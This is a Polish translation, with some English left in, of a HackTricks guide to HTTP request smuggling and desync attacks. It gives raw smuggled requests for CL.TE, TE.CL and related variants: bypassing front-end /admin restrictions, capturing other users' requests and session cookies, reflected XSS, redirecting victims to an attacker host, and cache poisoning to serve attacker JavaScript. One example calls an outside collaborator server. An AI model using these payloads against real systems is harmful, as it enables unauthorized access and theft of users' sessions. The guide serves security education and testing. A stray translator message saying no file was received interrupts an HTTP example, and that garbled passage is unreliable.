HTTP Request Smuggling / HTTP Desync Attack

Reading time: 31 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Co to jest

Ta podatność występuje, gdy występuje desynchronizacja pomiędzy front-end proxy a back-end serwerem, co pozwala atakującemu wysłać żądanie HTTP, które zostanie zinterpretowane jako jedno żądanie przez front-end (load balancer/reverse-proxy) i jako 2 żądania przez back-end.
To pozwala użytkownikowi zmodyfikować następne żądanie, które dotrze do back-endu po jego żądaniu.

Teoria

RFC Specification (2161)

Jeśli wiadomość zostanie otrzymana zarówno z polem nagłówka Transfer-Encoding, jak i polem nagłówka Content-Length, to to ostatnie MUSI zostać zignorowane.

Content-Length

Nagłówek jednostki Content-Length wskazuje rozmiar entity-body, w bajtach, wysłany do odbiorcy.

Transfer-Encoding: chunked

Nagłówek Transfer-Encoding określa formę kodowania używaną do bezpiecznego przesyłania ciała ładunku do użytkownika.
Chunked oznacza, że duże dane są wysyłane w serii kawałków (chunks).

Rzeczywistość

Front-end (load-balancer / reverse proxy) przetwarza nagłówek Content-Length lub Transfer-Encoding, a back-end serwer przetwarza ten drugi, powodując desynchronizację między tymi dwoma systemami.
Może to być bardzo krytyczne, ponieważ atakujący będzie w stanie wysłać jedno żądanie do reverse proxy, które zostanie zinterpretowane przez back-end jako dwa różne żądania. Niebezpieczeństwo tej techniki polega na tym, że back-end zinterpretuje wstrzyknięte drugie żądanie tak, jakby pochodziło od następnego klienta, a prawdziwe żądanie tego klienta stanie się częścią wstrzykniętego żądania.

Szczególności

Pamiętaj, że w HTTP znak nowej linii składa się z 2 bajtów:

  • Content-Length: Ten nagłówek używa liczby dziesiętnej do wskazania liczby bajtów w ciele żądania. Oczekuje się, że ciało kończy się na ostatnim znaku — znak nowej linii nie jest wymagany na końcu żądania.
  • Transfer-Encoding: Ten nagłówek używa w ciele liczby szesnastkowej do wskazania liczby bajtów następnego chunku. Chunk musi kończyć się nową linią, ale ta nowa linia nie jest wliczana do wskaźnika długości. Ten sposób transferu musi zakończyć się chunkiem o rozmiarze 0, po którym następują 2 nowe linie: 0
  • Connection: Z mojego doświadczenia zaleca się użycie Connection: keep-alive w pierwszym żądaniu podczas Request Smuggling.

Visible - Hidden

Główny problem z HTTP/1.1 polega na tym, że wszystkie żądania płyną przez ten sam socket TCP, więc jeśli znajdzie się rozbieżność między dwoma systemami odbierającymi żądania, możliwe jest wysłanie jednego żądania, które zostanie potraktowane jako dwa (lub więcej) różne żądania przez końcowy backend (lub nawet systemy pośredniczące).

This blog post proponuje nowe sposoby wykrywania ataków desync na system, które nie będą wykrywane przez WAFy. Przedstawia ono zachowania Visible vs Hidden. Celem w tym przypadku jest próba znalezienia rozbieżności w odpowiedzi przy użyciu technik, które mogą powodować desyncy bez faktycznego eksploatowania czegokolwiek.

Na przykład wysłanie żądania z normalnym nagłówkiem Host oraz z nagłówkiem " host" — jeśli backend narzeka na to żądanie (może dlatego, że wartość " host" jest niepoprawna), to może to oznaczać, że front-end nie widział nagłówka " host", podczas gdy finalny backend go użył, co wysoce prawdopodobnie wskazuje na desync między front-endem a backendem.

To byłaby Hidden-Visible discrepancy.

Jeśli front-end wziąłby pod uwagę nagłówek " host", ale backend nie, to mogłaby to być sytuacja Visible-Hidden.

Na przykład pozwoliło to odkryć desyncy pomiędzy AWS ALB jako front-endem a IIS jako backendem. Dzieje się tak, ponieważ gdy wysłano "Host: foo/bar", ALB zwrócił 400, Server; awselb/2.0, ale gdy wysłano "Host : foo/bar", zwrócił 400, Server: Microsoft-HTTPAPI/2.0, wskazując, że odpowiedź pochodzi od backendu. To jest Hidden-Visible (H-V).

Zauważ, że ta sytuacja nie jest poprawiona w AWS, ale można jej zapobiec ustawiając routing.http.drop_invalid_header_fields.enabled oraz routing.http.desync_mitigation_mode = strictest.

Podstawowe przykłady

tip

Podczas próby wykorzystania tego z Burp Suite wyłącz Update Content-Length i Normalize HTTP/1 line endings w repeaterze, ponieważ niektóre gadżety wykorzystują nowe linie, carriage returny i niepoprawne content-lengthy.

Ataki HTTP request smuggling są tworzone przez wysyłanie niejednoznacznych żądań, które wykorzystują rozbieżności w interpretacji nagłówków Content-Length (CL) i Transfer-Encoding (TE) przez front-end i back-end. Ataki te mogą przyjmować różne formy, głównie jako CL.TE, TE.CL i TE.TE. Każdy typ reprezentuje unikalne połączenie priorytetyzacji tych nagłówków przez front-end i back-end. Podatności wynikają z tego, że serwery przetwarzają to samo żądanie w różny sposób, prowadząc do nieoczekiwanych i potencjalnie złośliwych rezultatów.

Podstawowe przykłady typów podatności

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

Do powyższej tabeli należy dodać technikę TE.0, podobną do techniki CL.0, ale używając Transfer-Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Przetwarza żądanie na podstawie nagłówka Content-Length.

  • Back-End (TE): Przetwarza żądanie na podstawie nagłówka Transfer-Encoding.

  • Scenariusz ataku:

  • Atakujący wysyła żądanie, w którym wartość nagłówka Content-Length nie odpowiada rzeczywistej długości zawartości.

  • Front-end przesyła całe żądanie do back-endu zgodnie z wartością Content-Length.

  • Back-end przetwarza żądanie jako chunked z powodu nagłówka Transfer-Encoding: chunked, interpretując pozostałe dane jako osobne, kolejne żądanie.

  • Przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Przetwarza żądanie na podstawie nagłówka Transfer-Encoding.

  • Back-End (CL): Przetwarza żądanie na podstawie nagłówka Content-Length.

  • Scenariusz ataku:

  • Atakujący wysyła chunked request, w którym rozmiar chunka (7b) i rzeczywista długość zawartości (Content-Length: 4) nie zgadzają się.

  • Front-end, respektując Transfer-Encoding, przekazuje całe żądanie do back-endu.

  • Back-end, respektując Content-Length, przetwarza tylko początkową część żądania ( 7b bajtów), pozostawiając resztę jako niezamierzone kolejne żądanie.

  • Przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Serwery: Oba wspierają Transfer-Encoding, ale jeden może zostać oszukany, aby go zignorować przez obfuskację.

  • Scenariusz ataku:

  • Atakujący wysyła żądanie z obfuskowanymi nagłówkami Transfer-Encoding.

  • W zależności od tego, który serwer (front-end lub back-end) nie rozpozna obfuskacji, można wykorzystać podatność CL.TE lub TE.CL.

  • Nieprzetworzona część żądania, widoczna tylko dla jednego z serwerów, staje się częścią kolejnego żądania, prowadząc do smugglingu.

  • Przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Oba serwery przetwarzają żądanie wyłącznie na podstawie nagłówka Content-Length.
  • Ten scenariusz zazwyczaj nie prowadzi do smugglingu, ponieważ oba serwery zgadzają się co do interpretacji długości żądania.
  • Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Odnosi się do scenariuszy, w których nagłówek Content-Length jest obecny i ma wartość różną od zera, wskazując, że żądanie ma ciało. Back-end ignoruje nagłówek Content-Length (traktowany jako 0), ale front-end go parsuje.
  • Jest to istotne w zrozumieniu i tworzeniu ataków smugglingowych, ponieważ wpływa na to, jak serwery określają koniec żądania.
  • Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Podobne do poprzedniego, ale używające TE.
  • Technika reported here
  • Przykład:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Scenariusz

W sytuacji 0.CL request zostaje wysłany z nagłówkiem Content-Length takim jak:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Front-end nie uwzględnia nagłówka Content-Length, więc wysyła do backend tylko pierwszy request (aż do 7 w przykładzie). Jednak backend widzi Content-Length i czeka na body, które nigdy nie nadchodzi, ponieważ front-end już czeka na response.

Jeśli jednak istnieje request, który można wysłać do backendu i który zostanie responded zanim otrzyma body, taki deadlock nie wystąpi. W IIS, na przykład, dzieje się tak przy wysyłaniu requestów do zastrzeżonych nazw jak /con (sprawdź documentation); w ten sposób initial request zostanie responded bezpośrednio, a drugi request będzie zawierał request of the victim w następujący sposób:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

To jest przydatne do wywołania desync, ale do tej pory nie miało to żadnego wpływu.

Jednak artykuł proponuje rozwiązanie tego, przekształcając 0.CL attack into a CL.0 with a double desync.

Breaking the web server

Ta technika jest również przydatna w scenariuszach, gdzie możliwe jest spowodowanie awarii serwera WWW podczas odczytywania początkowych danych HTTP, ale bez zamykania połączenia. W ten sposób body żądania HTTP zostanie uznane za kolejne żądanie HTTP.

Na przykład, jak wyjaśniono w this writeup, w Werkzeug możliwe było wysłanie pewnych Unicode znaków, które powodowały awarię serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem Connection: keep-alive, body żądania nie zostanie odczytane, a połączenie pozostanie otwarte, więc body żądania zostanie potraktowane jako kolejne żądanie HTTP.

Forcing via hop-by-hop headers

Wykorzystując nagłówki hop-by-hop można nakłonić proxy do usunięcia nagłówka Content-Length lub Transfer-Encoding, dzięki czemu możliwe jest wykorzystanie HTTP request smuggling.

Connection: Content-Length

For more information about hop-by-hop headers visit:

hop-by-hop headers

Wykrywanie HTTP Request Smuggling

Identyfikacja podatności HTTP request smuggling często może być osiągnięta za pomocą technik timingowych, które polegają na obserwacji, jak długo serwer odpowiada na zmanipulowane żądania. Techniki te są szczególnie użyteczne do wykrywania podatności CL.TE i TE.CL. Oprócz tych metod istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich podatności:

Wykrywanie podatności CL.TE za pomocą technik timingowych

  • Metoda:

  • Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że back-end będzie czekać na dodatkowe dane.

  • Przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Obserwacja:

  • Front-end przetwarza żądanie na podstawie Content-Length i obcina wiadomość przedwcześnie.

  • Back-end, oczekując wiadomości chunked, czeka na kolejny chunk, który nigdy nie nadchodzi, powodując opóźnienie.

  • Wskaźniki:

  • Timeouty lub długie opóźnienia w odpowiedzi.

  • Otrzymanie 400 Bad Request z back-endu, czasami z dodatkowymi informacjami o serwerze.

Wykrywanie podatności TE.CL za pomocą technik timingowych

  • Metoda:

  • Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że back-end będzie czekać na dodatkowe dane.

  • Przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Obserwacja:
  • Front-end przetwarza żądanie na podstawie Transfer-Encoding i przekazuje całą wiadomość dalej.
  • Back-end, oczekując wiadomości na podstawie Content-Length, czeka na dodatkowe dane, które nigdy nie nadchodzą, powodując opóźnienie.

Inne metody znajdowania podatności

  • Analiza różnic w odpowiedziach:
  • Wyślij nieznacznie zmodyfikowane wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w nieoczekiwany sposób, co wskazuje na rozbieżność w parsowaniu.
  • Użycie narzędzi automatycznych:
  • Narzędzia takie jak rozszerzenie Burp Suite 'HTTP Request Smuggler' mogą automatycznie testować te podatności, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.
  • Testy wariancji Content-Length:
  • Wyślij żądania z różnymi wartościami Content-Length, które nie zgadzają się z rzeczywistą długością treści i obserwuj, jak serwer radzi sobie z takimi niezgodnościami.
  • Testy wariancji Transfer-Encoding:
  • Wyślij żądania z obfuskowanymi lub uszkodzonymi nagłówkami Transfer-Encoding i monitoruj, jak front-end i back-end różnie reagują na takie manipulacje.

The Expect: 100-continue header

Sprawdź, jak ten nagłówek może pomóc w eksploatacji desync'a http w:

Special Http Headers

Testowanie podatności HTTP Request Smuggling

Po potwierdzeniu skuteczności technik timingowych, kluczowe jest zweryfikowanie, czy żądania klienta można zmanipulować. Prosta metoda to próba „poisonowania” swoich żądań, np. sprawienie, aby żądanie do / zwracało 404. Przykłady CL.TE i TE.CL omówione wcześniej w Basic Examples pokazują, jak zatruć żądanie klienta, by wywołać odpowiedź 404, mimo że klient próbował uzyskać dostęp do innego zasobu.

Kluczowe kwestie

Testując request smuggling przez interferencję z innymi żądaniami, miej na uwadze:

  • Oddzielne połączenia sieciowe: "atak" i "normalne" żądania powinny być wysłane przez oddzielne połączenia sieciowe. Użycie tego samego połączenia dla obu nie potwierdza istnienia podatności.
  • Spójny URL i parametry: Staraj się używać identycznych URL-i i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych back-endów na podstawie URL i parametrów. Dopasowanie ich zwiększa prawdopodobieństwo, że oba żądania trafią do tego samego serwera, co jest warunkiem udanego ataku.
  • Timing i warunki wyścigu: "Normalne" żądanie, przeznaczone do wykrycia interferencji z "atakującego" żądania, konkuruje z innymi równoległymi żądaniami aplikacji. Dlatego wyślij "normalne" żądanie natychmiast po "atakującym". Zajęte aplikacje mogą wymagać kilku prób, by jednoznacznie potwierdzić podatność.
  • Wyzwania związane z load balancingiem: Front-end działający jako load balancer może rozdzielać żądania na różne back-endy. Jeśli "atakujące" i "normalne" żądania trafią na różne systemy, atak się nie powiedzie. Ten aspekt load balancingu może wymagać kilku prób, by potwierdzić podatność.
  • Niepożądany wpływ na innych użytkowników: Jeśli twój atak przypadkowo wpłynie na żądanie innego użytkownika (nie tego "normalnego", które wysłałeś do wykrywania), oznacza to, że atak oddziaływał na innego użytkownika aplikacji. Ciągłe testy mogą zakłócać działanie innych użytkowników, co wymaga ostrożnego podejścia.

Rozróżnianie artefaktów HTTP/1.1 pipelining od rzeczywistego request smuggling

Reuse połączeń (keep-alive) i pipelining mogą łatwo wygenerować złudzenia "smugglingu" w narzędziach testujących, które wysyłają wiele żądań na tym samym gnieździe. Naucz się oddzielać nieszkodliwe artefakty po stronie klienta od prawdziwego desynca po stronie serwera.

Dlaczego pipelining tworzy klasyczne false-positives

HTTP/1.1 ponownie używa pojedynczego połączenia TCP/TLS i konkatenacji żądań i odpowiedzi na tym samym strumieniu. Przy pipeliningu klient wysyła wiele żądań jedno po drugim i oczekuje odpowiedzi w tej samej kolejności. Typowy false-positive to ponowne wysłanie sfałszowanego payloadu w stylu CL.0 dwukrotnie na jednym połączeniu:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Nie otrzymałem treści pliku do przetłumaczenia. Proszę wklej zawartość pliku src/pentesting-web/http-request-smuggling/README.md (markdown). Przetłumaczę ją na polski zgodnie z Twoimi wytycznymi — zachowam wszystkie tagi, linki, ścieżki i nie będę tłumaczyć kodu, nazw technik, terminów takich jak leak, pentesting ani nazw platform.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Jeśli serwer zignorował nieprawidłowy Content_Length, nie występuje desynchronizacja FE↔BE. Przy ponownym użyciu klient faktycznie wysłał ten strumień bajtów, który serwer sparsował jako dwa niezależne żądania:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: none. You just desynced your client from the server framing.

tip

Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

Testy: pipelining czy rzeczywista desync?

  1. Wyłącz reuse i przetestuj ponownie
  • W Burp Intruder/Repeater wyłącz HTTP/1 reuse i unikaj "Send group in sequence".
  • W Turbo Intruder ustaw requestsPerConnection=1 i pipeline=False.
  • Jeśli zachowanie znika, prawdopodobnie to klient‑side pipelining, chyba że masz do czynienia z connection‑locked/stateful targets lub client‑side desync.
  1. HTTP/2 nested-response check
  • Wyślij żądanie HTTP/2. Jeśli treść odpowiedzi zawiera kompletną zagnieżdżoną odpowiedź HTTP/1, udowodniłeś błąd parsowania/desync po stronie backendu, a nie czysty artefakt po stronie klienta.
  1. Partial-requests probe for connection-locked front-ends
  • Niektóre FE ponownie używają upstream BE connection tylko jeśli klient użył własnego. Użyj partial-requests, aby wykryć zachowanie FE, które odzwierciedla reuse klienta.
  • Zobacz PortSwigger "Browser‑Powered Desync Attacks" dla techniki connection‑locked.
  1. State probes
  • Szukaj różnic między pierwszym a kolejnymi żądaniami na tym samym połączeniu TCP (first‑request routing/validation).
  • Burp "HTTP Request Smuggler" zawiera connection‑state probe, które automatyzuje to sprawdzenie.
  1. Visualize the wire
  • Użyj rozszerzenia Burp "HTTP Hacker" do inspekcji konkatenacji i framowania wiadomości bezpośrednio podczas eksperymentów z reuse i partial requests.

Connection‑locked request smuggling (reuse-required)

Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:

  • Udowodnij błąd po stronie serwera
  • Użyj HTTP/2 nested-response check, lub
  • Użyj partial-requests, aby pokazać, że FE ponownie używa upstream tylko gdy klient to robi.
  • Pokaż rzeczywisty wpływ, nawet jeśli bezpośrednie cross-user socket abuse jest zablokowane:
  • Cache poisoning: poison shared caches via the desync so responses affect other users.
  • Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
  • Bypass FE controls: smuggle restricted paths/methods past the front-end.
  • Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
  • Operator workflow
  • Odtwórz przy kontrolowanym reuse (Turbo Intruder requestsPerConnection=2, or Burp Repeater tab group → "Send group in sequence (single connection)").
  • Następnie chain to cache/header-leak/control-bypass primitives i zademonstruj cross-user lub authorization impact.

See also connection‑state attacks, which are closely related but not technically request smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Ograniczenia desync po stronie klienta

If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.

For background and end-to-end workflows:

Browser HTTP Request Smuggling

Narzędzia pomocne przy decyzji

  • HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
  • "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: precise control over connection reuse via requestsPerConnection.
  • Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.

note

Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing /admin might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.

Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the /admin path which is typically guarded by the front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

W ataku CL.TE nagłówek Content-Length jest wykorzystywany dla żądania początkowego, podczas gdy kolejne osadzone żądanie używa nagłówka Transfer-Encoding: chunked. Proxy front-end przetwarza początkowe żądanie POST, ale nie sprawdza osadzonego żądania GET /admin, co pozwala na nieautoryzowany dostęp do ścieżki /admin.

TE.CL Przykład

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Z kolei w ataku TE.CL początkowe żądanie POST używa Transfer-Encoding: chunked, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka Content-Length. Podobnie jak w ataku CL.TE, proxy front-end pomija przemytowe żądanie GET /admin, nieumyślnie przyznając dostęp do zastrzeżonej ścieżki /admin.

Odkrywanie przepisywania żądań przez front-end

Aplikacje często korzystają z serwera front-end, który modyfikuje przychodzące żądania przed przekazaniem ich do serwera back-end. Typowa modyfikacja polega na dodaniu nagłówków, takich jak X-Forwarded-For: <IP of the client>, aby przekazać adres IP klienta do back-endu. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby na omijanie zabezpieczeń lub odkrycie ukrytych informacji lub endpointów.

Aby zbadać, jak proxy zmienia żądanie, znajdź parametr POST, który back-end odsyła w odpowiedzi. Następnie przygotuj żądanie, używając tego parametru na końcu, podobne do poniższego:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

W tej strukturze kolejne składowe żądania są dopisywane po search=, który jest parametrem odzwierciedlanym w odpowiedzi. To odzwierciedlenie ujawni nagłówki kolejnego żądania.

Ważne jest wyrównanie nagłówka Content-Length z rzeczywistą długością zagnieżdżonej treści. Najbezpieczniej zaczynać od małej wartości i stopniowo ją zwiększać, ponieważ zbyt niska wartość obetnie odzwierciedlone dane, natomiast zbyt wysoka może spowodować błąd żądania.

Technika ta ma również zastosowanie w kontekście podatności TE.CL, ale żądanie powinno się zakończyć search=\r\n0. Niezależnie od znaków nowej linii, wartości zostaną dopisane do parametru search.

Metoda ta służy głównie do zrozumienia modyfikacji żądania wykonywanych przez front-endowy proxy, w praktyce pozwalając na samodzielne badanie.

Przechwytywanie żądań innych użytkowników

Możliwe jest przechwycenie żądań następnego użytkownika przez dopisanie konkretnego żądania jako wartości parametru podczas operacji POST. Oto jak można to zrobić:

Dopisując poniższe żądanie jako wartość parametru, możesz przechować żądanie kolejnego klienta:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

W tym scenariuszu comment parameter ma na celu przechowywanie treści w sekcji komentarzy posta na publicznie dostępnej stronie. W konsekwencji zawartość następnego żądania pojawi się jako komentarz.

Jednak ta technika ma ograniczenia. Zazwyczaj przechwytuje dane tylko do delimitera parametru użytego w przemyconym żądaniu. Dla formularzy przesyłanych jako URL-encoded tym separatorem jest znak &. Oznacza to, że przechwycona zawartość z żądania ofiary zatrzyma się na pierwszym &, który może być nawet częścią query string.

Dodatkowo warto zauważyć, że to podejście jest również wykonalne przy podatności TE.CL. W takich przypadkach żądanie powinno kończyć się na search=\r\n0. Niezależnie od znaków nowej linii, wartości zostaną dołączone do parametru search.

Wykorzystanie HTTP request smuggling do atakowania Reflected XSS

HTTP Request Smuggling można wykorzystać do ataku na strony podatne na Reflected XSS, co daje istotne korzyści:

  • Interakcja z docelowymi użytkownikami nie jest wymagana.
  • Pozwala na wykorzystanie XSS w częściach żądania, które są zwykle niedostępne, takich jak nagłówki HTTP.

W scenariuszach, gdzie strona jest podatna na Reflected XSS poprzez nagłówek User-Agent, poniższy payload pokazuje, jak wykorzystać tę podatność:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ten payload jest skonstruowany, aby wykorzystać podatność poprzez:

  1. Rozpoczęcie POST żądania, pozornie typowego, z nagłówkiem Transfer-Encoding: chunked, wskazującym początek smuggling.
  2. Następnie 0, oznaczające koniec chunked message body.
  3. Potem wprowadzane jest smuggled GET request, gdzie nagłówek User-Agent zostaje wstrzyknięty ze skryptem, <script>alert(1)</script>, wywołując XSS, gdy serwer przetworzy to kolejne żądanie.

Manipulując User-Agent przez smuggling, payload omija normalne ograniczenia żądań, w ten sposób wykorzystując podatność Reflected XSS w niestandardowy, ale skuteczny sposób.

HTTP/0.9

caution

W przypadku, gdy zawartość dostarczona przez użytkownika jest odzwierciedlana w odpowiedzi z Content-type takim jak text/plain, co zapobiega wykonaniu XSS. Jeśli serwer obsługuje HTTP/0.9, może być możliwe obejście tego!

Wersja HTTP/0.9 powstała przed 1.0 i używa tylko metody GET oraz nie zwraca nagłówków, tylko ciało odpowiedzi.

W this writeup użyto tego w ramach request smuggling oraz podatnego endpointu, który zwraca w odpowiedzi dane wejściowe użytkownika, aby zaszmuglować żądanie z HTTP/0.9. Parametr, który był odzwierciedlany w odpowiedzi, zawierał fałszywą odpowiedź HTTP/1.1 (z nagłówkami i ciałem), więc odpowiedź zawierała prawidłowy wykonywalny kod JS z Content-Type ustawionym na text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Aplikacje często przekierowują z jednego URL na inny, używając nazwy hosta z nagłówka Host w URL przekierowania. Jest to powszechne w serwerach takich jak Apache i IIS. Na przykład, żądanie folderu bez kończącego ukośnika powoduje przekierowanie, aby dodać ukośnik:

GET /home HTTP/1.1
Host: normal-website.com

Skutkuje:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Pomimo pozornej nieszkodliwości, to zachowanie można zmanipulować przy użyciu HTTP request smuggling, aby przekierować użytkowników na zewnętrzną witrynę. Na przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Ten smuggled request mógłby spowodować, że następne przetworzone żądanie użytkownika zostanie przekierowane do attacker-controlled website:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Skutkuje:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

W tym scenariuszu żądanie użytkownika o plik JavaScript zostaje przechwycone. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy kod JavaScript w odpowiedzi.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning można przeprowadzić, jeśli którykolwiek komponent infrastruktury front-end buforuje zawartość, zazwyczaj w celu poprawy wydajności. Manipulując odpowiedzią serwera, możliwe jest zatruć pamięć podręczną.

Wcześniej widzieliśmy, jak odpowiedzi serwera można było zmodyfikować, aby zwracały błąd 404 (odnieś się do Basic Examples). Podobnie można oszukać serwer, aby dostarczył zawartość /index.html w odpowiedzi na żądanie /static/include.js. W rezultacie zawartość /static/include.js zostaje zastąpiona w cache przez zawartość /index.html, czyniąc /static/include.js niedostępnym dla użytkowników i potencjalnie prowadząc do Denial of Service (DoS).

Technika ta staje się szczególnie groźna, jeśli zostanie odkryta podatność typu Open Redirect lub jeśli istnieje on-site redirect prowadzący do open redirect. Takie podatności można wykorzystać do zastąpienia zbuforowanej zawartości /static/include.js skryptem kontrolowanym przez atakującego, co zasadniczo umożliwia masowy Cross-Site Scripting (XSS) wobec wszystkich klientów żądających zaktualizowanego /static/include.js.

